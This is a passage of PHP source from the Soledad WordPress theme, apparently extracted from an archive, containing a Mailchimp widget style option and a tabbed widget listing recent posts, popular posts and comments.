        <label for="<?php echo esc_attr( $widget->get_field_id( 'penci_mailchimp_style' ) ); ?>"><?php esc_html_e( 'Mailchimp Style:', 'soledad' ); ?></label>
        <select id="<?php echo esc_attr( $widget->get_field_id( 'penci_mailchimp_style' ) ); ?>"
                name="<?php echo esc_attr( $widget->get_field_name( 'penci_mailchimp_style' ) ); ?>"
                class="widefat penci_mailchimp_style" style="width:100%;">
			<?php
			$options = [
				's1'  => __( 'Default', 'soledad' ),
				's5'  => __( 'Style 1', 'soledad' ),
				's6'  => __( 'Style 2', 'soledad' ),
				's7'  => __( 'Style 3', 'soledad' ),
				's8'  => __( 'Style 4', 'soledad' ),
				's9'  => __( 'Style 5', 'soledad' ),
				's10' => __( 'Style 6', 'soledad' ),
				's11' => __( 'Style 7', 'soledad' ),
				's12' => __( 'Style 8', 'soledad' ),
				's13' => __( 'Style 9', 'soledad' ),
				's14' => __( 'Style 10', 'soledad' ),
				's15' => __( 'Style 11', 'soledad' ),
			];

			foreach ( $options as $value => $label ) {
				printf(
					'<option value="%s" %s>%s</option>',
					esc_attr( $value ),
					selected( $penci_mailchimp_style, $value, false ),
					esc_html__( $label, 'soledad' )
				);
			}
			?>
        </select>
        <span style="display: block;margin-top: 10px;"><?php _e( 'This style does not apply to the Header/Footer Signup Form.', 'soledad' ); ?></span>
    </p>
	<?php
}, 10, 2 );

add_filter( 'mc4wp_form_widget_update_settings', function ( $new_settings, $old_settings, $widget ) {
	if ( ! empty( $new_settings['penci_mailchimp_style'] ) ) {
		$new_settings['penci_mailchimp_style'] = sanitize_text_field( $new_settings['penci_mailchimp_style'] );
	}

	return $new_settings;

}, 10, 3 );

add_filter( 'widget_display_callback', function ( $instance, $widget, $args ) {
	// Disable Mailchimp widget in specific sidebars
	if ( isset( $args['id'] ) && in_array( $args['id'], [ 'footer-signup-form', 'header-signup-form' ], true ) ) {
		return $instance; // Prevents the widget from being displayed
	}

	if ( isset( $args['widget_id'] ) && strpos( $args['widget_id'], 'mc4wp_form_widget' ) !== false ) {
		// Ensure the instance contains the correct setting
		$penci_form_style = isset( $instance['penci_mailchimp_style'] ) ? $instance['penci_mailchimp_style'] : 's1';

		// Modify the widget output directly using output buffering
		ob_start();
		$widget->widget( $args, $instance );
		$output = ob_get_clean();

		// Inject the correct class into the widget wrapper
		if ( preg_match( '/class="([^"]*)"/', $output ) ) {
			$output = preg_replace(
				'/class="([^"]*)"/',
				'class="penci-mc4wp-widget penci-mailchimp-' . esc_attr( $penci_form_style ) . ' $1"',
				$output,
				1
			);
		} else {
			// If class attribute doesn't exist, add it
			$output = preg_replace(
				'/<div/',
				'<div class="penci-mc4wp-widget penci-mailchimp-' . esc_attr( $penci_form_style ) . '"',
				$output,
				1
			);
		}

		echo $output;

		return false; // Prevents the default widget output from being displayed
	}

	return $instance;
}, 10, 3 );PK     N\OP      inc/widgets/posts_tabs.phpnu [        <?php

add_action( 'widgets_init', 'penci_posts_tabs_load_widget' );

function penci_posts_tabs_load_widget() {
	register_widget( 'penci_posts_tabs_widget' );
}

if ( ! class_exists( 'penci_posts_tabs_widget' ) ) {
	class penci_posts_tabs_widget extends WP_Widget {

		/**
		 * Widget setup.
		 */
		function __construct() {
			/* Widget settings. */
			$widget_ops = array(
				'classname'   => 'penci_posts_tabs_widget',
				'description' => esc_html__( 'A widget that displays a tabs with listing posts.', 'soledad' )
			);

			/* Widget control settings. */
			$control_ops = array( 'width' => 250, 'height' => 350, 'id_base' => 'penci_posts_tabs_widget' );

			/* Create the widget. */ global $wp_version;
			if ( 4.3 > $wp_version ) {
				$this->WP_Widget( 'penci_posts_tabs_widget', penci_get_theme_name( '.Soledad', true ) . esc_html__( 'Tabs', 'soledad' ), $widget_ops, $control_ops );
			} else {
				parent::__construct( 'penci_posts_tabs_widget', penci_get_theme_name( '.Soledad', true ) . esc_html__( 'Tabs', 'soledad' ), $widget_ops, $control_ops );
			}
		}

		/**
		 * How to display the widget on the screen.
		 */
		function widget( $args, $instance ) {
			extract( $args );

			/* Our variables from the widget settings. */
			$title           = isset( $instance['title'] ) ? $instance['title'] : '';
			$title           = apply_filters( 'widget_title', $title );
			$sticky          = isset( $instance['sticky'] ) ? $instance['sticky'] : true;
			$tabs_order      = isset( $instance['tabs_order'] ) ? $instance['tabs_order'] : 'recent_popular_comments';
			$tabs_style      = isset( $instance['tabs_style'] ) ? $instance['tabs_style'] : 'default';
			$number          = isset( $instance['number'] ) ? $instance['number'] : 5;
			$number_comments = isset( $instance['number_comments'] ) ? $instance['number_comments'] : 5;
			$sticky_value    = ( false == $sticky ) ? 0 : 1;
			$title_length    = isset( $instance['title_length'] ) ? $instance['title_length'] : '';
			$featured        = isset( $instance['featured'] ) ? $instance['featured'] : false;
			$dotstyle        = isset( $instance['dotstyle'] ) ? $instance['dotstyle'] : '';
			$movemeta        = isset( $instance['movemeta'] ) ? $instance['movemeta'] : false;
			$twocolumn       = isset( $instance['twocolumn'] ) ? $instance['twocolumn'] : false;
			$featured2       = isset( $instance['featured2'] ) ? $instance['featured2'] : false;
			$ordernum        = isset( $instance['ordernum'] ) ? $instance['ordernum'] : false;
			$allfeatured     = isset( $instance['allfeatured'] ) ? $instance['allfeatured'] : false;
			$thumbright      = isset( $instance['thumbright'] ) ? $instance['thumbright'] : false;
			$postdate        = isset( $instance['postdate'] ) ? $instance['postdate'] : false;
			$icon            = isset( $instance['icon'] ) ? $instance['icon'] : false;
			$image_type      = isset( $instance['image_type'] ) ? $instance['image_type'] : 'default';
			$ptfsfe          = isset( $instance['ptfsfe'] ) ? absint( $instance['ptfsfe'] ) : '';
			$ptfs            = isset( $instance['ptfs'] ) ? absint( $instance['ptfs'] ) : '';
			$pmfs            = isset( $instance['pmfs'] ) ? absint( $instance['pmfs'] ) : '';
			$ptorn           = isset( $instance['ptorn'] ) ? absint( $instance['ptorn'] ) : '';
			$oboxsize        = isset( $instance['oboxsize'] ) ? absint( $instance['oboxsize'] ) : '';
			$row_gap         = isset( $instance['row_gap'] ) ? absint( $instance['row_gap'] ) : '';
			$imgwidth        = isset( $instance['imgwidth'] ) ? absint( $instance['imgwidth'] ) : '';
			$hide_thumb      = isset( $instance['hide_thumb'] ) ? $instance['hide_thumb'] : false;
			$tabs_icon       = isset( $instance['tabs_icon'] ) ? $instance['tabs_icon'] : false;
			$showauthor      = isset( $instance['show_author'] ) ? $instance['show_author'] : false;
			$showcomment     = isset( $instance['show_comment'] ) ? $instance['show_comment'] : false;
			$showviews       = isset( $instance['show_postviews'] ) ? $instance['show_postviews'] : false;
			$showborder      = isset( $instance['showborder'] ) ? $instance['showborder'] : false;


			/* Before widget (defined by themes). */
			echo ent2ncr( $before_widget );

			/* Display the widget title if one was input (before and after defined by themes). */
			if ( $title ) {
				echo ent2ncr( $before_title ) . $title . ent2ncr( $after_title );
			}
			wp_enqueue_script( 'penci_widget_tabs' );
			$tabs_order = explode( '_', $tabs_order );
			$rand       = rand( 1000, 10000 );
			$class      = $tabs_icon ? 'show-icon' : 'hide-icon';
			$class      .= $tabs_style ? ' box-tabs' : ' default-tabs';
			?>
            <div class="penc-posts-tabs <?php echo esc_attr( $class ); ?>" id="pc-wpt-<?php echo $rand; ?>">
                <div class="tabs">
                    <ul>
						<?php $count = 1;
						foreach ( $tabs_order as $tab ) {
							if ( isset( $instance[ 'disable_' . $tab ] ) && ! $instance[ 'disable_' . $tab ] ) {
								$class = $count == 1 ? ' active' : '';
								echo '<li class="li-tab-' . $tab . $class . '" data-tab="tab-' . $tab . '"><a href="#" aria-label="Tab">' . penci_get_setting( 'penci_trans_' . $tab ) . '</a></li>';
								$count ++;
							}
						} ?>
                    </ul>
                </div>
                <div class="tabs-content">
					<?php $tcount = 1;
					foreach ( $tabs_order as $tab ) {
						$check = $tcount == 1;
						if ( isset( $instance[ 'disable_' . $tab ] ) && ! $instance[ 'disable_' . $tab ] ) {
							if ( $tab == 'popular' || $tab == 'recent' ) {
								$this->show_tabs_posts( $instance, $tab, $check );
							} else {
								$this->show_comment_posts( $instance, $number_comments, $check );
							}
						}
						$tcount ++;
					} ?>
                </div>
            </div>

			<?php

			$attrstyle = '';
			if ( $ptfsfe ) {
				$attrstyle .= '.widget #pc-wpt-' . $rand . ' ul.penci-wdtab-ct li.featured-news .side-item .side-item-text h4 a{ font-size: ' . $ptfsfe . 'px; }';
			}
			if ( $ptfs ) {
				$attrstyle .= '.widget #pc-wpt-' . $rand . ' ul.penci-wdtab-ct li:not(.featured-news) .side-item .side-item-text h4 a{ font-size: ' . $ptfs . 'px; }';
			}
			if ( $pmfs ) {
				$attrstyle .= '.widget #pc-wpt-' . $rand . ' ul.penci-wdtab-ct li .side-item .side-item-text .side-item-meta{ font-size: ' . $pmfs . 'px; }';
			}
			if ( $imgwidth ) {
				$attrstyle .= '.widget #pc-wpt-' . $rand . ' ul.penci-wdtab-ct li .penci-image-holder.small-fix-size{ width: ' . $imgwidth . 'px; }';
			}
			if ( $row_gap ) {
				$attrstyle .= '.widget #pc-wpt-' . $rand . ' ul.penci-wdtab-ct.side-newsfeed:not(.penci-feed-2columns) li{ margin-bottom: ' . $row_gap . 'px; padding-bottom: ' . $row_gap . 'px; }';
				$attrstyle .= '.widget #pc-wpt-' . $rand . ' ul.penci-wdtab-ct.penci-feed-2columns li{ margin-bottom: ' . $row_gap . 'px; }';
			}
			if ( $image_type == 'horizontal' ) {
				$attrstyle .= '#pc-wpt-' . $rand . ' .penci-wdtab-ct .penci-image-holder:before{ padding-top: 66.6667%; }';
			} elseif ( $image_type == 'square' ) {
				$attrstyle .= '#pc-wpt-' . $rand . ' .penci-wdtab-ct .penci-image-holder:before{ padding-top: 100%; }';
			} elseif ( $image_type == 'vertical' ) {
				$attrstyle .= '#pc-wpt-' . $rand . ' .penci-wdtab-ct .penci-image-holder:before{ padding-top: 135.4%; }';
			}

			if ( $ptorn ) {
				$attrstyle .= '.widget #pc-wpt-' . $rand . ' ul.order-numbers-4.display-order-numbers li .side-image:before{ font-size: ' . $ptorn . 'px; }';
				$attrstyle .= '.widget #pc-wpt-' . $rand . ' li .number-post{ font-size: ' . $ptorn . 'px; }';
				$attrstyle .= '.widget #pc-wpt-' . $rand . ' ul.order-numbers-3 li .number-post{ font-size: ' . $ptorn . 'px; }';
				$attrstyle .= '.widget #pc-wpt-' . $rand . ' ul.order-numbers-2.display-order-numbers li .side-item-text:before{ font-size: ' . $ptorn . 'px; }';
			}

			if ( $oboxsize ) {
				$attrstyle .= '.widget #pc-wpt-' . $rand . ' ul.side-newsfeed{ --oboxsize: ' . $oboxsize . 'px; }';
				$attrstyle .= '.widget #pc-wpt-' . $rand . ' ul.side-newsfeed.order-numbers-1 li .order-border-number{ width: ' . $oboxsize . 'px;height: ' . $oboxsize . 'px;line-height: ' . ( $oboxsize - 2 ) . 'px; }';
				$attrstyle .= '.widget #pc-wpt-' . $rand . ' ul.side-newsfeed.order-numbers-1 li .number-post{ width: ' . $oboxsize . 'px;height: ' . $oboxsize . 'px;line-height: ' . ( $oboxsize - 2 ) . 'px; }';
			}

			if ( $attrstyle ) {
				echo '<style type="text/css">' . $attrstyle . '</style>';
			}

			/* After widget (defined by themes). */
			echo ent2ncr( $after_widget );
		}

		/**
		 * Update the widget settings.
		 */
		function update( $new_instance, $old_instance ) {
			$instance      = $old_instance;
			$data_instance = $this->soledad_widget_defaults();
			foreach ( $data_instance as $data => $value ) {
				$instance[ $data ] = ! empty( $new_instance[ $data ] ) ? $new_instance[ $data ] : '';
			}

			return $instance;
		}

		public function show_comment_posts( $instance, $number = 5, $is_active = false ) {
			$comments_query     = new WP_Comment_Query( [
				'number' => $number,
				'status' => 'approve',
			] );
			$comments           = $comments_query->comments;
			$class              = $is_active ? 'active' : 'inactive';
			$comments_count     = wp_count_comments();
			$comments_max_pages = $comments_count->approved > $number ? ceil( $comments_count->approved / $number ) : 1;
			if ( $comments ) :
				?>
                <div class="tab-content-wrapper tab-comments recent-comments <?php echo $class; ?>">
                    <ul data-max="<?php echo $comments_max_pages; ?>" data-paged="1"
                        data-mes="<?php echo penci_get_setting( 'penci_trans_no_more_comments' ); ?>"
                        data-action="penci_posts_tabs_widget_comments_ajax">
						<?php foreach ( $comments as $comment ) {
							if ( isset( $comment->comment_author_email ) && $comment->comment_author_email ) {
								$usergravatar = 'http://www.gravatar.com/avatar/' . md5( $comment->comment_author_email ) . '?s=70';
							} else {
								$usergravatar = get_avatar_url( $comment->user_id );
							}
							echo '<li>
						        <a href="' . get_author_posts_url( $comment->user_id ) . '" class="avatar"><img src="' . $usergravatar . '" alt=""></a>
						        <div class="author-info"><a href="' . get_author_posts_url( $comment->user_id ) . '">' . $comment->comment_author . '</a> on <a href="' . get_permalink( $comment->comment_post_ID ) . '">' . get_the_title( $comment->comment_post_ID ) . '</a></div>
						     </li>';
						} ?>
                    </ul>
					<?php
					if ( isset( $instance['ajaxnav'] ) && $instance['ajaxnav'] == 'btn' ) {
						?>
                        <div class="penci-pagination penci-ajax-more pcwg-lposts">
                            <a class="penci-ajax-more-button pc-tabsajax-btn penci-wgajx-btn"
                               href="#" aria-label="More Posts">
                                <span class="ajax-more-text"><?php echo penci_get_setting( 'penci_trans_load_more_comments' ); ?></span><span
                                        class="ajaxdot"></span><i
                                        class="penci-faicon fa fa-refresh"></i> </a>
                        </div>
						<?php
					} else if ( isset( $instance['ajaxnav'] ) && $instance['ajaxnav'] == 'nav' ) { ?>
                        <div class="penci-pagination penci-ajax-nav pcwg-lposts">
                            <span class="pcajx-btn penci-wgajx-btn pc-tabsajax-btn prev disable"><?php echo penci_icon_by_ver( 'penciicon-left-chevron' ) . ' <span class="pcnav-title">' . penci_get_setting( 'penci_trans_back' ); ?></span></span>
                            <span class="pcajx-btn penci-wgajx-btn pc-tabsajax-btn next"><?php echo '<span class="pcnav-title">' . penci_get_setting( 'penci_trans_next' ) . '</span>' . penci_icon_by_ver( 'penciicon-right-chevron' ); ?></span>
                        </div>
						<?php
					}
					if ( isset( $instance['ajaxnav'] ) && $instance['ajaxnav'] ) {
						?>
                        <div class="pcwgajx-ld-wrapper">
							<?php echo penci_get_html_animation_loading( 'df' ); ?>
                        </div>
						<?php
					}
					?>
                </div>
			<?php
			else:
				echo '<div class="tab-content-wrapper tab-comments recent-comments ' . $class . '">';
				echo '<p>' . penci_get_setting( 'penci_trans_no_comments' ) . '</p>';
				echo '</div>';
			endif;
		}

		public function show_tabs_posts( $instance, $type, $first = false ) {
			$sticky         = isset( $instance['sticky'] ) ? $instance['sticky'] : true;
			$sticky_value   = ( false == $sticky ) ? 0 : 1;
			$popular_order  = isset( $instance['popular_order'] ) ? $instance['popular_order'] : 'all';
			$number         = isset( $instance['number'] ) ? $instance['number'] : '5';
			$offset         = isset( $instance['offset'] ) ? $instance['offset'] : '';
			$title_length   = isset( $instance['title_length'] ) ? $instance['title_length'] : '';
			$featured       = isset( $instance['featured'] ) ? $instance['featured'] : false;
			$dotstyle       = isset( $instance['dotstyle'] ) ? $instance['dotstyle'] : '';
			$movemeta       = isset( $instance['movemeta'] ) ? $instance['movemeta'] : false;
			$twocolumn      = isset( $instance['twocolumn'] ) ? $instance['twocolumn'] : false;
			$featured2      = isset( $instance['featured2'] ) ? $instance['featured2'] : false;
			$ordernum       = isset( $instance['ordernum'] ) ? $instance['ordernum'] : false;
			$allfeatured    = isset( $instance['allfeatured'] ) ? $instance['allfeatured'] : false;
			$thumbright     = isset( $instance['thumbright'] ) ? $instance['thumbright'] : false;
			$postdate       = isset( $instance['postdate'] ) ? $instance['postdate'] : false;
			$icon           = isset( $instance['icon'] ) ? $instance['icon'] : false;
			$image_type     = isset( $instance['image_type'] ) ? $instance['image_type'] : 'default';
			$hide_thumb     = isset( $instance['hide_thumb'] ) ? $instance['hide_thumb'] : false;
			$showauthor     = isset( $instance['show_author'] ) ? $instance['show_author'] : false;
			$showcomment    = isset( $instance['show_comment'] ) ? $instance['show_comment'] : false;
			$showviews      = isset( $instance['show_postviews'] ) ? $instance['show_postviews'] : false;
			$showborder     = isset( $instance['showborder'] ) ? $instance['showborder'] : false;
			$ordernum_style = isset( $instance['ordernum_style'] ) ? $instance['ordernum_style'] : '1';
			$rand           = rand( 1000, 10000 );
			$query          = array(
				'meta_key'            => penci_get_postviews_key(),
				'orderby'             => 'meta_value_num',
				'order'               => 'DESC',
				'posts_per_page'      => $number,
				'post_type'           => 'post',
				'ignore_sticky_posts' => $sticky_value
			);

			if ( $popular_order == 'week' ) {
				$query = array(
					'posts_per_page' => $number,
					'meta_key'       => 'penci_post_week_views_count',
					'orderby'        => 'meta_value_num',
					'order'          => 'DESC',
				);
			} elseif ( $popular_order == 'month' ) {
				$query = array(
					'posts_per_page' => $number,
					'meta_key'       => 'penci_post_month_views_count',
					'orderby'        => 'meta_value_num',
					'order'          => 'DESC',
				);
			} elseif ( $popular_order == 'jetpack' ) {
				$query = array(
					'posts_per_page' => $number,
					'meta_key'       => '_jetpack_post_view',
					'orderby'        => 'meta_value_num',
					'order'          => 'DESC',
				);
			}
			if ( $offset ) {
				$query['offset'] = $offset;
			}

			if ( $type == 'recent' ) {
				$query    = array(
					'order'               => 'DESC',
					'posts_per_page'      => $number,
					'post_type'           => 'post',
					'ignore_sticky_posts' => $sticky_value
				);
				$ordernum = isset( $instance['ordernum_recent'] ) ? $instance['ordernum_recent'] : true;
			}

			$loop  = new WP_Query( $query );
			$class = $first ? 'active' : 'inactive';
			?>
            <div class="tab-content-wrapper tab-<?php echo esc_attr( $type . ' ' . $class ); ?>">
                <ul data-settings='<?php echo json_encode( $instance ); ?>'
                    data-paged="1"
                    data-type="<?php echo esc_attr( $type ); ?>"
                    data-action="penci_posts_tabs_widget_ajax"
                    data-mes="<?php echo penci_get_setting( 'penci_trans_no_more_posts' ); ?>"
                    data-max="<?php echo esc_attr( $loop->max_num_pages ); ?>"
                    class="penci-wdtab-ct side-newsfeed<?php if ( $twocolumn && ! $allfeatured ): echo ' penci-feed-2columns';
					    if ( $featured ) {
						    echo ' penci-2columns-featured';
					    } else {
						    echo ' penci-2columns-feed';
					    } endif; ?><?php if ( ! $ordernum ): echo ' display-order-numbers'; endif;
				    if ( $dotstyle ) {
					    echo ' pctlst pctl-' . $dotstyle;
				    }
				    if ( $showborder ) {
					    echo ' penci-rcpw-hborders';
				    } 
					echo ' order-numbers-' . $ordernum_style;
					?>">

					<?php $num = 1;
					while ( $loop->have_posts() ) : $loop->the_post(); ?>

                        <li class="penci-feed<?php if ( ( ( $num == 1 ) && $featured ) || $allfeatured ): echo ' featured-news';
							if ( $featured2 ): echo ' featured-news2'; endif; endif; ?><?php if ( $allfeatured ): echo ' all-featured-news'; endif; ?>">
							<?php if ( ! $ordernum && has_post_thumbnail() && ! $hide_thumb ): ?>
                                <span class="order-border-number<?php if ( $thumbright && ! $twocolumn ): echo ' right-side'; endif; ?>">
									<span class="number-post"><?php echo sanitize_text_field( $num ); ?></span>
								</span>
							<?php endif; ?>
                            <div class="side-item">
								<?php if ( ( function_exists( 'has_post_thumbnail' ) ) && ( has_post_thumbnail() ) && ! $hide_thumb ) : ?>
                                    <div class="side-image<?php if ( $thumbright ): echo ' thumbnail-right'; endif; ?>">
										<?php
										$size_pie = 'small';
										if ( ( ( $num == 1 ) && $featured ) || $allfeatured ): $size_pie = 'normal'; endif;
										do_action( 'penci_bookmark_post', get_the_ID(), $size_pie );
										/* Display Review Piechart  */
										if ( function_exists( 'penci_display_piechart_review_html' ) ) {
											penci_display_piechart_review_html( get_the_ID(), $size_pie );
										}
										$thumb = penci_featured_images_size( 'small' );
										if ( ( ( $num == 1 ) && $featured ) || $allfeatured ): $thumb = penci_featured_images_size(); endif;
										if ( $image_type == 'horizontal' ) {
											$thumb = 'penci-thumb-small';
											if ( ( ( $num == 1 ) && $featured ) || $allfeatured ): $thumb = 'penci-thumb'; endif;
										} elseif ( $image_type == 'square' ) {
											$thumb = 'penci-thumb-square';
										} elseif ( $image_type == 'vertical' ) {
											$thumb = 'penci-thumb-vertical';
										}
										?>

                                        <a <?php echo penci_layout_bg( penci_image_srcset( get_the_ID(), $thumb ) ); ?>
                                                class="<?php echo penci_layout_bg_class(); ?> penci-image-holder<?php if ( ( ( $num == 1 ) && $featured ) || $allfeatured ) {
													echo '';
												} else {
													echo ' small-fix-size';
												} ?>" rel="bookmark"
                                                href="<?php the_permalink(); ?>"
                                                title="<?php echo wp_strip_all_tags( get_the_title() ); ?>">
											<?php echo penci_layout_img( penci_image_srcset( get_the_ID(), $thumb ), get_the_title() ); ?>
                                        </a>


										<?php if ( $icon ): ?>
											<?php if ( has_post_format( 'video' ) ) : ?>
                                                <a href="<?php the_permalink() ?>" class="icon-post-format"
                                                   aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-play' ); ?></a>
											<?php endif; ?>
											<?php if ( has_post_format( 'audio' ) ) : ?>
                                                <a href="<?php the_permalink() ?>" class="icon-post-format"
                                                   aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-music' ); ?></a>
											<?php endif; ?>
											<?php if ( has_post_format( 'link' ) ) : ?>
                                                <a href="<?php the_permalink() ?>" class="icon-post-format"
                                                   aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-link' ); ?></a>
											<?php endif; ?>
											<?php if ( has_post_format( 'quote' ) ) : ?>
                                                <a href="<?php the_permalink() ?>" class="icon-post-format"
                                                   aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-quote-left' ); ?></a>
											<?php endif; ?>
											<?php if ( has_post_format( 'gallery' ) ) : ?>
                                                <a href="<?php the_permalink() ?>" class="icon-post-format"
                                                   aria-label="Icon"><?php penci_fawesome_icon( 'far fa-image' ); ?></a>
											<?php endif; ?>
										<?php endif; ?>
                                    </div>
								<?php endif; ?>
                                <div class="side-item-text">
									<?php if ( $movemeta && ( ! $postdate || $showauthor || $showcomment || $showviews ) ): ?>
                                        <div class="grid-post-box-meta penci-side-item-meta pcsnmt-above">
											<?php if ( $showauthor ): ?>
                                                <span class="side-item-meta side-wauthor"><?php echo penci_get_setting( 'penci_trans_by' ); ?> <a
                                                            class="url fn n"
                                                            href="<?php echo get_author_posts_url( get_the_author_meta( 'ID' ) ); ?>"><?php the_author(); ?></a></span>
											<?php endif; ?>
											<?php if ( ! $postdate ): ?>
                                                <span class="side-item-meta side-wdate"><?php penci_soledad_time_link(); ?></span>
											<?php endif; ?>
											<?php if ( $showcomment ): ?>
                                                <span class="side-item-meta side-wcomments"><a
                                                            href="<?php comments_link(); ?> "><?php comments_number( '0 ' . penci_get_setting( 'penci_trans_comments' ), '1 ' . penci_get_setting( 'penci_trans_comment' ), '% ' . penci_get_setting( 'penci_trans_comments' ) ); ?></a></span>
											<?php endif; ?>
											<?php if ( $showviews ): ?>
                                                <span class="side-item-meta side-wviews"><?php echo penci_get_post_views( get_the_ID() ) . ' ' . penci_get_setting( 'penci_trans_countviews' ); ?></span>
											<?php endif; ?>
											<?php do_action( 'penci_extra_meta' ); ?>
                                        </div>
									<?php endif; ?>

                                    <h4 class="side-title-post">
                                        <a href="<?php the_permalink() ?>" rel="bookmark"
                                           title="<?php echo wp_strip_all_tags( get_the_title() ); ?>">
											<?php
											if ( ! $title_length || ! is_numeric( $title_length ) ) {
												if ( $featured2 && ( ( ( $num == 1 ) && $featured ) || $allfeatured ) ) {
													echo wp_trim_words( wp_strip_all_tags( get_the_title() ), 12, '...' );
												} else {
													the_title();
												}
											} else {
												echo wp_trim_words( wp_strip_all_tags( get_the_title() ), $title_length, '...' );
											}
											?>
                                        </a>
                                    </h4>
									<?php if ( ! $movemeta && ( ! $postdate || $showauthor || $showcomment || $showviews ) ): ?>
                                        <div class="grid-post-box-meta penci-side-item-meta pcsnmt-below">
											<?php if ( $showauthor ): ?>
                                                <span class="side-item-meta side-wauthor"><?php echo penci_get_setting( 'penci_trans_by' ); ?> <a
                                                            class="url fn n"
                                                            href="<?php echo get_author_posts_url( get_the_author_meta( 'ID' ) ); ?>"><?php the_author(); ?></a></span>
											<?php endif; ?>
											<?php if ( ! $postdate ): ?>
                                                <span class="side-item-meta side-wdate"><?php penci_soledad_time_link(); ?></span>
											<?php endif; ?>
											<?php if ( $showcomment ): ?>
                                                <span class="side-item-meta side-wcomments"><a
                                                            href="<?php comments_link(); ?> "><?php comments_number( '0 ' . penci_get_setting( 'penci_trans_comments' ), '1 ' . penci_get_setting( 'penci_trans_comment' ), '% ' . penci_get_setting( 'penci_trans_comments' ) ); ?></a></span>
											<?php endif; ?>
											<?php if ( $showviews ): ?>
                                                <span class="side-item-meta side-wviews"><?php echo penci_get_post_views( get_the_ID() ) . ' ' . penci_get_setting( 'penci_trans_countviews' ); ?></span>
											<?php endif; ?>
											<?php do_action( 'penci_extra_meta' ); ?>
                                        </div>
									<?php endif; ?>
                                </div>
                            </div>
                        </li>

						<?php $num ++; endwhile; ?>

                </ul>
				<?php
				if ( isset( $instance['ajaxnav'] ) && $instance['ajaxnav'] == 'btn' ) {
					?>
                    <div class="penci-pagination penci-ajax-more pcwg-lposts">
                        <a class="penci-ajax-more-button penci-wgajx-btn pc-tabsajax-btn"
                           href="#" aria-label="More Posts">
                            <span class="ajax-more-text"><?php echo penci_get_setting( 'penci_trans_load_more_posts' ); ?></span><span
                                    class="ajaxdot"></span><i
                                    class="penci-faicon fa fa-refresh"></i> </a>
                    </div>
					<?php
				} else if ( isset( $instance['ajaxnav'] ) && $instance['ajaxnav'] == 'nav' ) { ?>
                    <div class="penci-pagination penci-ajax-nav pcwg-lposts">
                        <span class="pcajx-btn pc-tabsajax-btn penci-wgajx-btn prev disable"><?php echo penci_icon_by_ver( 'penciicon-left-chevron' ) . ' <span class="pcnav-title">' . penci_get_setting( 'penci_trans_back' ); ?></span></span>
                        <span class="pcajx-btn pc-tabsajax-btn penci-wgajx-btn next"><span
                                    class="pcnav-title"><?php echo penci_get_setting( 'penci_trans_next' ) . '</span> ' . penci_icon_by_ver( 'penciicon-right-chevron' ); ?></span>
                    </div>
					<?php
				}
				if ( isset( $instance['ajaxnav'] ) && $instance['ajaxnav'] ) {
					?>
                    <div class="pcwgajx-ld-wrapper">
						<?php echo penci_get_html_animation_loading( 'df' ); ?>
                    </div>
					<?php
				}
				?>
            </div>
			<?php
		}

		public function soledad_widget_defaults() {
			return array(
				'title'            => esc_html__( 'Tabs', 'soledad' ),
				'tabs_order'       => 'recent_popular_comments',
				'tabs_style'       => 'default',
				'popular_order'    => 'all',
				'number'           => 5,
				'number_comments'  => 5,
				'tabs_icon'        => '',
				'disable_popular'  => '',
				'disable_recent'   => '',
				'disable_comments' => '',
				'sticky'           => true,
				'show_author'      => false,
				'show_comment'     => false,
				'show_postviews'   => false,
				'showborder'       => false,
				'row_gap'          => '',
				'imgwidth'         => '',
				'ptfsfe'           => '',
				'ptfs'             => '',
				'ptorn'            => '',
				'oboxsize'         => '',
				'pmfs'             => '',
				'image_type'       => 'default',
				'type'             => '',
				'title_length'     => '',
				'offset'           => '',
				'categories'       => '',
				'dotstyle'         => '',
				'movemeta'         => '',
				'hide_thumb'       => '',
				'ajaxnav'          => '',
				'ordernum_style'   => '',
				'featured'         => false,
				'allfeatured'      => false,
				'thumbright'       => false,
				'twocolumn'        => false,
				'featured2'        => false,
				'ordernum'         => false,
				'ordernum_recent'  => true,
				'postdate'         => false,
				'icon'             => false
			);
		}


		function form( $instance ) {

			/* Set up some default widget settings. */
			$defaults = $this->soledad_widget_defaults();
			$instance = wp_parse_args( (array) $instance, $defaults );

			$instance_title = $instance['title'] ? str_replace( '"', '&quot;', $instance['title'] ) : '';
			$tabs_order     = $instance['tabs_order'] ? $instance['tabs_order'] : 'recent_popular_comments';
			$tabs_style     = $instance['tabs_style'] ? $instance['tabs_style'] : 'default';
			$popular_order  = $instance['popular_order'] ? $instance['popular_order'] : 'all';
			?>

            <!-- Widget Title: Text Input -->
            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'title' ) ); ?>"><?php esc_html_e( 'Title:', 'soledad' ); ?></label>
                <input type="text" class="widefat" id="<?php echo esc_attr( $this->get_field_id( 'title' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'title' ) ); ?>"
                       value="<?php echo $instance_title; ?>"/>
            </p>

            <!--<p>
                <label for="<?php /*echo esc_attr( $this->get_field_id( 'tabs_icon' ) ); */ ?>"><?php /*esc_html_e( 'Use icons:', 'soledad' ); */ ?></label>
                <input type="checkbox" id="<?php /*echo esc_attr( $this->get_field_id( 'tabs_icon' ) ); */ ?>"
                       name="<?php /*echo esc_attr( $this->get_field_name( 'tabs_icon' ) ); */ ?>" <?php /*checked( (bool) $instance['tabs_icon'], true ); */ ?> />
            </p>-->

			<?php
			$list_oders = [
				'recent_popular_comments' => 'Recent / Popular / Comments',
				'recent_comments_popular' => 'Recent / Comments / Popular',
				'popular_recent_comments' => 'Popular / Recent / Comments',
				'popular_comments_recent' => 'Popular / Comments / Recent ',
				'comments_popular_recent' => 'Comments / Popular / Recent ',
				'comments_recent_popular' => 'Comments / Recent / Popular ',
			];
			$list_style = [
				'default' => 'Default Theme Style',
				'box'     => 'Box Tabs',
			]
			?>

            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'tabs_order' ) ); ?>"><?php esc_html_e( 'Tabs order:', 'soledad' ); ?></label>
                <select id="<?php echo esc_attr( $this->get_field_id( 'tabs_order' ) ); ?>"
                        name="<?php echo esc_attr( $this->get_field_name( 'tabs_order' ) ); ?>">
					<?php
					foreach ( $list_oders as $value => $name ) {
						echo '<option value="' . $value . '" ' . selected( $value, $tabs_order ) . '>' . $name . '</option>';
					}
					?>
                </select>
            </p>

            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'tabs_style' ) ); ?>"><?php esc_html_e( 'Tabs style:', 'soledad' ); ?></label>
